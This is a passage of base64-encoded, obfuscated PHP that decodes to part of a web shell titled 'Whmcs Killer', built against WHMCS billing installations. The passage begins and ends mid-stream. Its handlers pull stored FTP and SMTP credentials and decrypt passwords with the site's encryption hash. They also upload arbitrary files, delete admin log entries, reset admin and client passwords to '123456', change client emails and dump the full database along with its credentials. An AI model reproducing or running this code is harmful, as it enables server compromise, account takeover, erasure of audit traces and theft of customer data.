Iik7CmVjaG8oIjwvdGFibGU+Iik7Cn1icmVhazsKY2FzZSA2MzokYWtteHhlPSRfR0VUWyJxcSJd OwokeyR5amdxbHhrcXF6fT1zdHJfcmVwbGFjZSgiICIsIiUiLCRfUE9TVFsicSJdKTsKaWYoJGFr bXh4ZTw+IiIpJGJmaHFsb2RxY2k9JHskemhvbm9oYWxuY3ZjfTsKaWYoJHskamh0c2NwdGV2ZWh9 PT0iIikkeyRkeHVwYmlvfT0iJSI7CmlmKCR7JHh0Y2xmcXlpcnN1fT09IiIpJGFrbXh4ZT0kYmZo cWxvZHFjaTsKZWNobygiPGNlbnRlcj48YnI+PGJyPjxicj48Rk9STSBhY3Rpb249XCI/cD02M1wi ICBtZXRob2Q9XCJwb3N0XCI+XG48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwicVwiIHZhbHVl PVwiIi4kYmZocWxvZHFjaS4iXCI+XG48YnI+XG48SU5QVVQgY2xhc3M9c3VibWl0IHR5cGU9XCJz dWJtaXRcIiB2YWx1ZT1cIlN1Ym1pdFwiIG5hbWU9XCJTdWJtaXRcIj4gZXg6IHJvb3QlcGFzcyBv ciAgcm9vdCBvciAyMDg2IFxuIik7CmlmKGlzc2V0KCRfR0VUWyJwYWdlIl0pKXskbHBrdWF6andp YnllPSJwYWdlIjsKJHskbHBrdWF6andpYnllfT1pbnR2YWwoJF9HRVRbInBhZ2UiXSk7Cn1lbHNl eyRpa211b2pmPTE7Cn0keyRib2JkamJ0cG99PSgkZnFrZ2FrYi0xKSoxMDA7CiRhcHdpb3VneWlx a2g9bXlzcWxfcXVlcnkoIiBzZWxlY3QgaWQgYXMgdGlkLGRhdGUgRlJPTSB0Ymx0aWNrZXRzICB3 aGVyZSBtZXNzYWdlIExJS0UgJyUiLiR7JHBvYmRsdH0uIiUnIHVuaW9uIFNFTEVDVCAgdGlkLGRh dGUgRlJPTSBgdGJsdGlja2V0cmVwbGllc2Agd2hlcmUgbWVzc2FnZSBMSUtFICclIi4keyRwdXV1 dW5zbn0uIiUnIG9yZGVyIGJ5IGRhdGUgZGVzYyIpOwp3aGlsZSgkYXBmdnNlZ2RxPUBteXNxbF9m ZXRjaF9hcnJheSgkYXB3aW91Z3lpcWtoKSl7JG12Z2RkeHo9InZ2IjsKJHF2bG95ZHVvPSJsaXN0 X3RpZDAiOwokeyRxdmxveWR1b31bXT0kbXZnZGR4elsidGlkIl07Cn0kbWpvY3d2dj1AYXJyYXlf dmFsdWVzKGFycmF5X3VuaXF1ZSgkbnllbWRyYWIpKTsKJG1vdWt4ZmZjcz1jb3VudCgkeyRncHR0 dnF2fSk7CmlmKCR7JHhpcXludndzdW99PT0wKWV4aXQ7CmVjaG8oIjxoMz5Ub3RhbCBSZWNvcmRz ICIuJG1vdWt4ZmZjcy4iPGJyPiIpOwokeXhxbXVmeG5xY3M9Y2VpbCgkeyRsc2NhY3BxZ3l9LzUw KTsKZWNobygiPGJyPjx0YWJsZSBib3JkZXI9JzAnPjx0cj4iKTsKZWNobygiPHRkPlBhZ2UgIi4k d2V4cmlqYnl0bHMuIiBPZiAiLiR7JHd2bGJqZX0uIjwvdGQ+Iik7CmlmKCRpa211b2pmPjEpZWNo byI8dGQ+PGEgaHJlZj0nP3A9NjMmcXE9Ii4kYWtteHhlLiImcGFnZT0iLigkaHVycWt2eWEtMSku Iic+QmFjazwvYT4mbmJzcDwvdGQ+IjsKZWNobyI8dGQ+PGEgaHJlZj0nP3A9NjMmcXE9Ii4kb3Nr aWZnbS4iJnBhZ2U9Ii4kd3Rkdm5nZWJjcG1iLiInPkxhdGVzdDwvYT48L3RkPiI7CmlmKCRpa211 b2pmPCRpa3plZ3NodXViKWVjaG8iPHRkPiZuYnNwPGEgaHJlZj0nP3A9NjMmcXE9Ii4keyR2cWxk cmdob2l0fS4iJnBhZ2U9Ii4oJGlrbXVvamYrMSkuIic+TmV4dDwvYT4mbmJzcDwvdGQ+IjsKZm9y KCRoaXVmY2xudWJ4bj0xOwokaGl1ZmNsbnVieG48PSR5eHFtdWZ4bnFjczsKJHskendwcW95dXZ2 bHFofSAgKXskaW5lanNrej0iaSI7CmlmKCRpbmVqc2t6PT0kaWttdW9qZil7JGpvcmVld2twPSJp IjsKZWNobyI8dGQ+Jm5ic3A8YSBocmVmPSc/cD02MyZxcT0iLiRha214eGUuIiZwYWdlPSIuJHsk am9yZWV3a3B9LiInPigiLiRoaXVmY2xudWJ4bi4iKTwvYT4mbmJzcDwvdGQ+IjsKfWVsc2V7JGtn Y3l2ZmJoPSJpIjsKZWNobyI8dGQ+Jm5ic3A8YSBocmVmPSc/cD02MyZxcT0iLiRha214eGUuIiZw YWdlPSIuJGtnY3l2ZmJoLiInPiIuJGhpdWZjbG51YnhuLiI8L2E+Jm5ic3A8L3RkPiI7Cn19ZWNo bygiPC90cj48L3RhYmxlPiIpOwpmb3IoJGhpdWZjbG51YnhuPSR3d2VwYnd4OwokeHRwaHB5anh0 Y3J0PCgkd3dlcGJ3eCs1MCk7CiRxcnFxcXhvZnZweiAgKXskY2NxdG9nYnFscng9Imxpc3RfdGlk IjsKJHBkeWp1bWU9InF1ZXJ5MSI7CiRpYWhnY2dneHJmeWo9bXlzcWxfcXVlcnkoIlNFTEVDVCAq IEZST00gdGJsdGlja2V0cyAgd2hlcmUgaWQ9JyIuJGNjcXRvZ2JxbHJ4WyRoaXVmY2xudWJ4bl0u IiciKTsKJGl2d2tweGZybT0idiI7CndoaWxlKCRpdndrcHhmcm09bXlzcWxfZmV0Y2hfYXJyYXko JHBkeWp1bWUpKXskZWF3cmN4ZXdpPSJ2IjsKJHBscHN1aHhwZz0idiI7CmVjaG8oIjxicj48YnI+ VGlja2V0IElEICIuJHNxZ2Nocnh3bFsiaWQiXS4iPGJyPjxicj48dGFibGUgYm9yZGVyPTE+Iik7 CiR2YmNnd29kPSJ2IjsKJHJycGhpY2V6ZmQ9InYiOwokZ21hY3h6Y2N5PSJxdWVyeTIiOwplY2hv KCI8dHI+PHRkPjx0YWJsZSB3aWR0aD0xMDAlIGJvcmRlcj0xPjx0cj48dGQ+Ii4keyRycnBoaWNl emZkfVsidGl0bGUiXS4iPC90ZD48dGQ+Ii4kc3FnY2hyeHdsWyJkYXRlIl0uIl08L3RkPjx0ZD5V c2VyIGlkIDxhIGhyZWY9Jz9wPTEyJmlkPSIuJHBscHN1aHhwZ1sidXNlcmlkIl0uIic+Ii4keyR2 YmNnd29kfVsidXNlcmlkIl0uIjwvYT48L3RkPjx0ZD5UaWNrZXQgSUQgIi4keyRlYXdyY3hld2l9 WyJpZCJdLiI8L3RkPjwvdHI+PC90YWJsZT48L3RkPjwvdHI+Iik7CmlmKCRzcWdjaHJ4d2xbImF0 dGFjaG1lbnQiXSl7JHBjb2duY2lzaz0idiI7CiRxaGVpdHFxcWhoPSJ2IjsKZWNobygiPHRyPjx0 ZD4iLigkcGNvZ25jaXNrWyJtZXNzYWdlIl0pLiI8YnI+LS0tLS0tLS0tLS08YnI+QXR0YWNobWVu dDxicj4iLigkcWhlaXRxcXFoaFsiYXR0YWNobWVudCJdKS4iPC90ZD48L3RyPiIpOwp9ZWxzZXsk cmx1Z2NpY3hoeXdyPSJ2IjsKZWNobygiPHRyPjx0ZD4iLigkcmx1Z2NpY3hoeXdyWyJtZXNzYWdl Il0pLiI8L3RkPjwvdHI+Iik7Cn0kYmhtbGN5a2tta2k9InF1ZXJ5MiI7CiR7JGdtYWN4emNjeX09 bXlzcWxfcXVlcnkoInNlbGVjdCAqIGZyb20gdGJsdGlja2V0cmVwbGllcyB3aGVyZSB0aWQ9JyIu JHNxZ2Nocnh3bFsiaWQiXS4iJyIpOwp3aGlsZSgkcW5nYW51aGZ3dHloPW15c3FsX2ZldGNoX2Fy cmF5KCR7JGJobWxjeWtrbWtpfSkpeyRneGNlaGZmeD0idjIiOwokdGRxemNrbGZxdD0idjIiOwok c3J3b2N2cGh0PSJ2MiI7CmlmKCR7JHRkcXpja2xmcXR9WyJhZG1pbiJdKXtlY2hvKCI8dHI+PHRk PiBCeSAiLiRxbmdhbnVoZnd0eWhbImFkbWluIl0uIjwvdGQ+PC90cj48dHI+PHRkPiIuKCRxbmdh bnVoZnd0eWhbIm1lc3NhZ2UiXSkuIiA8YnI+LS0tLS0tLS0tLS08YnI+QXR0YWNobWVudDxicj4i LigkcW5nYW51aGZ3dHloWyJhdHRhY2htZW50Il0pLiI8L3RkPjwvdHI+Iik7Cn1lbHNlCmVjaG8o Ijx0cj48dGQ+IEJ5IENsaWVudCA8L3RkPjwvdHI+PHRyPjx0ZD4iLigkc3J3b2N2cGh0WyJtZXNz YWdlIl0pLiIgPGJyPi0tLS0tLS0tLS0tPGJyPkF0dGFjaG1lbnQ8YnI+Ii4oJHskZ3hjZWhmZnh9 WyJhdHRhY2htZW50Il0pLiI8L3RkPjwvdHI+Iik7Cn1lY2hvKCI8L3RhYmxlPiIpOwp9fWJyZWFr OwpjYXNlIDc6JGFwd2lvdWd5aXFraD1teXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0Ymxjb25m aWd1cmF0aW9uIHdoZXJlIHNldHRpbmc9J0ZUUEJhY2t1cEhvc3RuYW1lJyBvciBzZXR0aW5nPSdG VFBCYWNrdXBVc2VybmFtZScgb3IgIHNldHRpbmc9J0ZUUEJhY2t1cFBhc3N3b3JkJyBvciAgc2V0 dGluZz0nRlRQQmFja3VwRGVzdGluYXRpb24nIG9yICBzZXR0aW5nPSdTTVRQSG9zdCcgb3IgIHNl dHRpbmc9J1NNVFBVc2VybmFtZScgb3Igc2V0dGluZz0nU01UUFBhc3N3b3JkJyBvciAgc2V0dGlu Zz0nU01UUFBvcnQnIik7CmlmKCFpc19hcnJheShteXNxbF9mZXRjaF9hcnJheSgkYXB3aW91Z3lp cWtoKSkpe2VjaG8iPGNlbnRlcj48aDE+Tm90aGluZyBGb3VuZCAhPC9oMT48L2NlbnRlcj4iOwp9 ZWxzZXskYnBldWpyaWU9InYiOwokbGJoYm1vdD0icXVlcnkiOwplY2hvKCI8Y2VudGVyPjxoMT5E b21haW4gUmVzZWxsZXI8aDE+IDxicj48dGFibGUgYm9yZGVyPScwJz4iKTsKZWNobygiPHRyPjx0 ZD5TZXR0aW5nPC90ZD48dGQ+VmFsdWU8L3RkPjwvdHI+Iik7CndoaWxlKCRicGV1anJpZT1teXNx bF9mZXRjaF9hcnJheSgkbGJoYm1vdCkpeyR1Y2VoaXVwaT0idmFsdWUiOwokbnRqZ2hlaz0idmFs dWUiOwoka25zZmp2ZHVubGo9InYiOwokeyRudGpnaGVrfT0keyRrbnNmanZkdW5san1bInZhbHVl Il07CmlmKCR1Y2VoaXVwaT09IiIpeyRtdWtnaW1jeHJ5cD0idmFsdWUiOwokbXVrZ2ltY3hyeXA9 MDsKfWVjaG8oIjx0cj48dGQ+Ii4kc3FnY2hyeHdsWyJzZXR0aW5nIl0uIjwvdGQ+PHRkPiIuJGtw bm9ydy4iIDwvdGQ+PC90cj4iKTsKfWVjaG8iPC90YWJsZT48YnI+PGJyPjwvY2VudGVyPiI7Cn0K YnJlYWs7CmNhc2UgODoKZWNobyI8Y2VudGVyPjxoMT5GaWxlIFVwbG9hZDwvaDE+PGJyPjxicj48 Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP3A9OFwiIGVuY3R5cGU9XCJtdWx0aXBhcnQv Zm9ybS1kYXRhXCI+PGlucHV0IHR5cGU9XCJmaWxlXCIgbmFtZT1cImltYWdlXCI+PGlucHV0IHR5 cGU9XCJTdWJtaXRcIiBuYW1lPVwiU3VibWl0XCIgdmFsdWU9XCJTdWJtaXRcIj48aW5wdXQgdHlw ZT1cImhpZGRlblwiIG5hbWU9XCJmXCIgdmFsdWU9XCJ1cGxvYWRcIj48L2Zvcm0+IjsKZWNobyI8 aHI+PGNlbnRlcj48aDE+RGVsZXRlIEFkbWlubG9nPC9oMT48YnI+PGZvcm0gbWV0aG9kPVwiUE9T VFwiIGFjdGlvbj1cIj9wPThcIiA+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImlwXCIgdmFs dWU9XCIiLiRfU0VSVkVSWyJSRU1PVEVfQUREUiJdLiJcIj48aW5wdXQgdHlwZT1cIlN1Ym1pdFwi IG5hbWU9XCJTdWJtaXRcIiB2YWx1ZT1cIlN1Ym1pdFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIg bmFtZT1cImZcIiB2YWx1ZT1cImlwXCI+PC9mb3JtPiI7CmVjaG8iPGhyPjxjZW50ZXI+PGgxPkNo YW5nZSBBZG1pbiBQYXNzd29yZCB0byAxMjM0NTY8L2gxPjxicj48Zm9ybSBtZXRob2Q9XCJQT1NU XCIgYWN0aW9uPVwiP3A9OFwiID48aDE+QWRtaW4gSUQ6PC9oMT48aW5wdXQgdHlwZT1cInRleHRc IiBuYW1lPVwiaWRkXCIgdmFsdWU9XCIxXCI+PGlucHV0IHR5cGU9XCJTdWJtaXRcIiBuYW1lPVwi U3VibWl0XCIgdmFsdWU9XCJTdWJtaXRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJm XCIgdmFsdWU9XCJjcGFcIj48L2Zvcm0+IjsKZWNobyI8aHI+PGNlbnRlcj48aDE+Q2hhbmdlIENs aWVudCBQYXNzd29yZCB0byAxMjM0NTY8L2gxPjxicj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0 aW9uPVwiP3A9OFwiID48aDE+TWFpbDo8L2gxPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJt YWlsXCIgdmFsdWU9XCJjbGllbnRAbWFpbC5jb21cIj48aW5wdXQgdHlwZT1cIlN1Ym1pdFwiIG5h bWU9XCJTdWJtaXRcIiB2YWx1ZT1cIlN1Ym1pdFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFt ZT1cImZcIiB2YWx1ZT1cImNwY1wiPjwvZm9ybT4iOwplY2hvIjxocj48Y2VudGVyPjxoMT5DaGFu Z2UgQ2xpZW50IE1haWw8L2gxPjxicj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP3A9 OFwiID48aDE+Q2xpZW50IElEOjwvaDE+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImlkXCIg dmFsdWU9XCJcIj48aDE+Q2xpZW50IE1haWw6PC9oMT48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1l PVwibWFpbFwiIHZhbHVlPVwiXCI+PGlucHV0IHR5cGU9XCJTdWJtaXRcIiBuYW1lPVwiU3VibWl0 XCIgdmFsdWU9XCJTdWJtaXRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJmXCIgdmFs dWU9XCJjY21cIj48L2Zvcm0+IjsKaWYoJF9QT1NUWyJmIl09PSJkZWMiKXskc21qdm15ZT0iY2Nf ZW5jcnlwdGlvbl9oYXNoIjsKJHRtZnh1c3VnPSgkX1BPU1RbInBhc3N3b3JkIl0pOwokeyRzbWp2 bXllfT0oJF9QT1NUWyJjY19lbmNyeXB0aW9uX2hhc2giXSk7CiR5a25tY3B6cz0icGFzc3dvcmQi OwokbGpzdXJ4bG49InBhc3N3b3JkIjsKJHlrbm1jcHpzPWRlY3J5cHQoJHRtZnh1c3VnLCRkYXR6 c2JsaHpoZik7CmVjaG8oIjxoMT5QYXNzd29yZCBpcyAiLiR7JGxqc3VyeGxufS4iPC9oMT4iKTsK fWVjaG8oIjxocj5cbjxoMT4gRGVjcnlwdCBQYXNzd29yZDwvaDE+XG48Rk9STSBhY3Rpb249XCI/ cD04XCIgIG1ldGhvZD1cInBvc3RcIj5cbjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImZc IiB2YWx1ZT1cImRlY1wiPlxuPGJyPlxuPHRhYmxlIGJvcmRlcj0xPlxuXG48dHI+PHRkPlBhc3N3 b3JkPC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjMwXCIgbmFtZT1cInBhc3N3 b3JkXCIgdmFsdWU9XCJcIj48L3RkPjwvdHI+XG48dHI+PHRkPmNjX2VuY3J5cHRpb25faGFzaDwv dGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIHNpemU9XCIzMFwiIG5hbWU9XCJjY19lbmNyeXB0 aW9uX2hhc2hcIiB2YWx1ZT1cIlwiPjwvdGQ+PC90cj5cblxuPC90YWJsZT5cbjxicj5cbjxJTlBV VCBjbGFzcz1zdWJtaXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiU3VibWl0XCIgbmFtZT1cIlN1 Ym1pdFwiPlxuPC9GT1JNPlxuPGhyPiIpOwppZigkX1BPU1RbImYiXT09InVwbG9hZCIpeyRsYnd1 bmZmdXA9IiI7CiR6Y251ZWNlYj0iMjAwMDAwMDAwMCI7CiR2amJxeGxzaG5teW89InVzZXJmaWxl X3RtcCI7CiR1c2VyZmlsZV9uYW1lPSRfRklMRVNbImltYWdlIl1bIm5hbWUiXTsKJHskdmpicXhs c2hubXlvfT0kX0ZJTEVTWyJpbWFnZSJdWyJ0bXBfbmFtZSJdOwppZihpc3NldCgkX0ZJTEVTWyJp bWFnZSJdWyJuYW1lIl0pKXska2ZsYmloPSJmaWxlZGlyIjsKJGVkY2Vkd3VmPSJhYm9kIjsKJGtv bWdpZ3ZrPSJhYm9kIjsKJHska29tZ2lndmt9PSR7JGtmbGJpaH0uJHVzZXJmaWxlX25hbWU7CkBt b3ZlX3VwbG9hZGVkX2ZpbGUoJGplb2R0Z2xpcW53bywkeyRlZGNlZHd1Zn0pOwplY2hvIjxoMz48 Y2VudGVyPjxiPkRvbmUgPT0+ICR1c2VyZmlsZV9uYW1lPC9iPjwvaDM+PC9jZW50ZXI+IjsKfX1p ZigkX1BPU1RbImYiXT09ImlwIil7JGp5b3RsaXV0aHQ9InRyeUNoYW5pbmciOwokYW94aml2PW15 c3FsX3F1ZXJ5KCJERUxFVEUgRlJPTSB0YmxhZG1pbmxvZyB3aGVyZSBpcGFkZHJlc3M9JyIuJF9Q T1NUWyJpcCJdLiInIilvciBkaWUoIkVycmV1ciBTUUwgISIuJGhoZWlnZm5lcGQuIjxicj4iLm15 c3FsX2Vycm9yKCkpOwppZigkeyRqeW90bGl1dGh0fSl7ZWNobygiPGgzPjxicj5MYXN0IGFkbWlu bG9nIHN1Y2Nlc3NmdWxseSBkZWxldGVkPC9oMz4iKTsKfWVsc2V7ZWNobygiPGgzPjxicj5EZWxl dGVpbmcgYWRtaW5sb2cgZXJyb3I8L2gzPiIpOwp9fWlmKCRfUE9TVFsiZiJdPT0iY3BhIil7JHJn Z3ZmYmdlZD0idHJ5Q2hhbmluZ0luZm8iOwokY3Vqamt4PSJ0cnlDaGFuaW5nSW5mbyI7CiR7JHJn Z3ZmYmdlZH09bXlzcWxfcXVlcnkoIlVQREFURSB0YmxhZG1pbnMgU0VUIHBhc3N3b3JkID0gJ2Ux MGFkYzM5NDliYTU5YWJiZTU2ZTA1N2YyMGY4ODNlJyB3aGVyZSBpZD0nIi4kX1BPU1RbImlkZCJd LiInIilvciBkaWUoIkVycmV1ciBTUUwgISIuJGhoZWlnZm5lcGQuIjxicj4iLm15c3FsX2Vycm9y KCkpOwppZigkeyRjdWpqa3h9KXtlY2hvKCI8aDM+PGJyPlsrXSBDaGFuZ2luZyBhZG1pbiBwYXNz d29yZCB0byAxMjM0NTYiKTsKfWVsc2V7ZWNobygiPGgzPjxicj5bLV0gQ2hhbmdpbmcgYWRtaW4g cGFzc3dvcmQgZXJyb3IiKTsKZXhpdDsKfX1pZigkX1BPU1RbImYiXT09ImNwYyIpeyRoc3Z4d3Jk eGdwPSJ0cnlDaGFuaW5nSW5mbyI7CiRiYnh2c3I9bXlzcWxfcXVlcnkoIlVQREFURSB0YmxjbGll bnRzIFNFVCBwYXNzd29yZCA9ICc3NjBkMDUzMDQ0MGVjNDVhMmMzZGM4YjM4ZGVlOGU5YTolTUUp dicgd2hlcmUgZW1haWw9JyIuJF9QT1NUWyJtYWlsIl0uIiciKTsKaWYoJHskaHN2eHdyZHhncH0p e2VjaG8oIjxoMz48YnI+WyBdIENoYW5naW5nIGNsaWVudCAiLiRfUE9TVFsibWFpbCJdLiIgcGFz c3dvcmQgdG8gMTIzNDU2Iik7Cn1lbHNle2VjaG8oIjxoMz48YnI+Wy1dIENoYW5naW5nIGNsaWVu dCBwYXNzd29yZCBlcnJvciIpOwpleGl0Owp9fWlmKCRfUE9TVFsiZiJdPT0iY2NtIil7JG5tcmJ4 d2s9InRyeUNoYW5pbmdJbmZvIjsKJGJieHZzcj1teXNxbF9xdWVyeSgiVVBEQVRFIHRibGNsaWVu dHMgU0VUIGVtYWlsID0gJyIuJF9QT1NUWyJtYWlsIl0uIicgd2hlcmUgaWQ9JyIuJF9QT1NUWyJp ZCJdLiInIik7CmlmKCR7JG5tcmJ4d2t9KXtlY2hvKCI8aDM+PGJyPlsgXSBDaGFuZ2luZyBjbGll bnQgIi4kX1BPU1RbImlkIl0uIiBtYWlsIHRvICIuJF9QT1NUWyJtYWlsIl0uIiIpOwp9ZWxzZXtl Y2hvKCI8aDM+PGJyPlstXSBDaGFuZ2luZyBjbGllbnQgcGFzc3dvcmQgZXJyb3IiKTsKZXhpdDsK fX1icmVhazsKY2FzZSA5OmZvcmVhY2goJF9DT09LSUUgYXMkZ2tkcmlwdXR4dnM9PiR3cHNxamho a3Ape3NldGNvb2tpZSgkZ2tkcmlwdXR4dnMsIiIpOwp9ZWNobygiICAgICA8bWV0YSBodHRwLWVx dWl2PSdyZWZyZXNoJyBjb250ZW50PScxO1VSTD0/JyAvPiIpOwpicmVhazsKZGVmYXVsdDppZigk X0NPT0tJRVsibG9naW4iXT09IjEiKXsKZWNobygiPHRpdGxlPldobWNzIEtpbGxlciBDb2RlZCBi eSBSQUIzT1VOPC90aXRsZT48RlJBTUVTRVQgY29scz1cIjIwMCwqXCI+IFxuPEZSQU1FIG5hbWU9 XCJzb21tYWlyZVwiIHRhcmdldD1cImZyYW1lMVwiIHNyYz1cIj9wPW1cIiBzY3JvbGxpbmc9XCJh dXRvXCI+XG48RlJBTUUgbmFtZT1cImZyYW1lMVwiIHNyYz1cIj9wPTFcIiBzY3JvbGxpbmc9XCJh dXRvXCI+IFxuPC9GUkFNRVNFVD5cbjxOT0ZSQU1FUz4gPFA+Q2V0dGUgcGFnZSB1dGlsaXNlIGRl cyBjYWRyZXMsIG1haXMgdm90cmUgbmF2aWdhdGV1ciBuZSBsZXMgcHJlbmQgcGFzIGVuIGNoYXJn ZS48L3A+IDwvTk9GUkFNRVM+Iik7Cn1lbHNle2VjaG8oJHl0Y3duY3VmeWdtKTsKbG9naW4oKTsK fWJyZWFrOwpjYXNlIDExOiR7JGloYm1haX09bXlzcWxfY29ubmVjdCgkbXRldWVyaSwkb2NuaGJl ZWNtZnIsJHFrbWh2cmN3KTsKbXlzcWxfc2VsZWN0X2RiKCRoZWxhcmJ4aywkdmJwbWdpeWNtKTsK JGh5cHl0bD0kX1BPU1RbImFjdGlvbiJdOwppZigkbWpqYXZzbGs9PSJ5ZXMiKXtlcnJvcl9yZXBv cnRpbmcoRV9BTExeRV9OT1RJQ0UpOwoka3JrZWxsamg9ImRiX3VzZXJuYW1lIjsKJHpvY21lcXls PSJ0YWJsZXMiOwpAaW5pX3NldCgibWVtb3J5X2xpbWl0IiwzMioxMDI0KjEwMjQpOwokZ21zb2N2 b2M9ImRiX3Bhc3N3b3JkIjsKQGluaV9zZXQoIm1heF9leGVjdXRpb25fdGltZSIsIjQ4MCIpOwok b29wZGhmZms9JF9QT1NUWyJ0YWJsZW4iXTsKZm9yZWFjaCgkeyR6b2NtZXF5bH0gYXMkbmdqeXdq cWt6amxmKXskb25wY2NweGNqcT0icXVlcnkiOwokdnpwa3VnYW49InF1ZXJ5IjsKJHpudWxldWI9 InRhYmxlIjsKJHskb25wY2NweGNqcX09QG15c3FsX3F1ZXJ5KCJTSE9XIENSRUFURSBUQUJMRSAi LiR6bnVsZXViKTsKJG1pcnpwa3hscHdzPSJxdWUiOwokdWlja2lnc2NwYm56PSJxdWVyeSI7CiRl anhxcHZvd3U9Im51bV9maWVsZHMiOwokcmVtY3Nhc29iPUBteXNxbF9mZXRjaF9hcnJheSgkYXB3 aW91Z3lpcWtoKTsKJHBxYnJ2dW1xb3VjdS49JG1pcnpwa3hscHdzWyJDcmVhdGUgVGFibGUiXS4i OwpcbiI7CiRxZWJ0bHhicW1hbT0ib3V0dGEiOwokcWVidGx4YnFtYW0uPSJcbiI7CiRhcHdpb3Vn eWlxa2g9bXlzcWxfcXVlcnkoInNlbGVjdCAqIGZyb20gIi4kbmdqeXdqcWt6amxmKTsKJHskZWp4 cXB2b3d1fT1teXNxbF9udW1fZmllbGRzKCR7JHVpY2tpZ3NjcGJuen0pOwokZWZjbHd1bG9zYj1t eXNxbF9udW1fcm93cygkeyR2enBrdWdhbn0pOwp3aGlsZSgkdG5wZ3hrdXFmbWk9bXlzcWxfZmV0 Y2hfYXJyYXkoJGFwd2lvdWd5aXFraCkpeyRzbG1sZHh4PSJ0YWJsZSI7CiRwcWJydnVtcW91Y3Uu PSJJTlNFUlQgSU5UTyAiLiR7JHNsbWxkeHh9LiIgVkFMVUVTKCI7CiRvdGJxd2RvdnZ2PSJqIjsK JHBhdWZkb249ImoiOwoka2lvY3BhdG1vdD0ib3V0dGEiOwokbmJhb3ZjdGc9ImoiOwpmb3IoJHsk b3RicXdkb3Z2dn09MDsKJHBhdWZkb248JHZtZ3B1ZDsKJG5iYW92Y3RnICApeyRvand4dmZ1a2o9 ImoiOwokempqdnR4dHlza2I9ImoiOwokdW1oYnVpdnltanc9InJvdyI7CiRvaXNibnRqaD0icm93 IjsKJHlyc2xlaXA9InJvdyI7CiRxb3RscnR6YmM9InJvdyI7CiRldGp2cGhtcW89ImoiOwokaWRo eHd1eXBlcz0icm93IjsKJHVtaGJ1aXZ5bWp3WyR6amp2dHh0eXNrYl09YWRkc2xhc2hlcygkeXJz bGVpcFskb2p3eHZmdWtqXSk7CiRkbXVybGFkYnZiPSJvdXR0YSI7CiRsbm91YXV0aj0icm93IjsK JGlkaHh3dXlwZXNbJHVvb2NtaG5zZF09c3RyX3JlcGxhY2UoIlxuIiwiXG4iLCRxb3RscnR6YmNb JHVvb2NtaG5zZF0pOwokZ2RrZmRuZD0iaiI7CiRsbm91YXV0alskdW9vY21obnNkXT1zdHJfcmVw bGFjZSgiXHIiLCIiLCR0bnBneGt1cWZtaVskZXRqdnBobXFvXSk7CmlmKGlzc2V0KCRvaXNibnRq aFskdW9vY21obnNkXSkpJGRtdXJsYWRidmIuPSInJHJvd1skal0nIjsKZWxzZSRwcWJydnVtcW91 Y3UuPSJcIlwiIjsKaWYoJGdka2ZkbmQ8KCR2bWdwdWQtMSkpJHBxYnJ2dW1xb3VjdS49IiwgIjsK fSR7JGtpb2NwYXRtb3R9Lj0iKTtcbiI7Cn0kcHFicnZ1bXFvdWN1Lj0iXG4iOwp9JHZyaHplbXhw eWNpPSJvdXR0YSI7CiRyZ3ZpaHdoYmZ1PSJkYXRlIjsKJHBpZmJkYmFtcGRjPSJvdXR0YSI7CiRy Z3ZpaHdoYmZ1PXRpbWUoKTsKQG9iX2VuZF9jbGVhbigpOwpoZWFkZXIoIkNvbnRlbnQtbGVuZ3Ro OiAiLnN0cmxlbigiLS0gLS0tLS0tLS1XSE1DUyBCQUNLVVAgLS0tLS0tLS0tLS0tLS0tLVxuXHQt LSBob3N0OiIuJG5pZWNuZWp3Zm15LiJcblx0LS0gdXNlcm5hbWU6Ii4ka3JrZWxsamguIlxuXHQt LSBwYXNzd29yZDoiLiR7JGdtc29jdm9jfS4iXG5cdC0tIGNjX2hhc2g6Ii4kX0NPT0tJRVsiY2Nf ZW5jcnlwdGlvbl9oYXNoIl0uIlxuLS0gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXG4i LiR2cmh6ZW14cHljaSkpOwpoZWFkZXIoIkNvbnRlbnQtdHlwZTogdGV4dC9wbGFpbiIpOwpoZWFk ZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIuJF9TRVJWRVJb IkhUVFBfSE9TVCJdLiItJGRhdGUuc3FsIik7CmVjaG8iLS0gLS0tLS0tLS1XSE1DUyBCQUNLVVAg LS0tLS0tLS0tLS0tLS0tLVxuXHQtLSBob3N0OiIuJG5pZWNuZWp3Zm15LiJcblx0LS0gdXNlcm5h bWU6Ii4kY3hvanVpanZoa2UuIlxuXHQtLSBwYXNzd29yZDoiLiRxa21odnJjdy4iXG5cdC0tIGNj X2hhc2g6Ii4kX0NPT0tJRVsiY2NfZW5jcnlwdGlvbl9oYXNoIl0uIlxuLS0gLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tXG4iLiRwaWZiZGJhbXBkYzsKfWVjaG8iPHNjcmlwdCBsYW5ndWFn ZT1cIkphdmFTY3JpcHRcIj5cblxuZnVuY3Rpb24gY2hlY2tBbGwoZm9ybSl7XG5cbiAgZm9yICh2 YXIgaSA9IDA7IGkgPCBmb3JtLmVsZW1lbnRzLmxlbmd0aDsKIGkgKyl7XG5cbiAgICBldmFsKFwi Zm9ybS5lbGVtZW50c1tcIiArIGkgICBcIl0uY2hlY2tlZCA9IGZvcm0uZWxlbWVudHNbMF0uY2hl Y2tlZFwiKTtcblxuICB9XG5cbn1cblxuPC9zY3JpcHQ+IjsKJG9vcGRoZmZrPUBteXNxbF9xdWVy 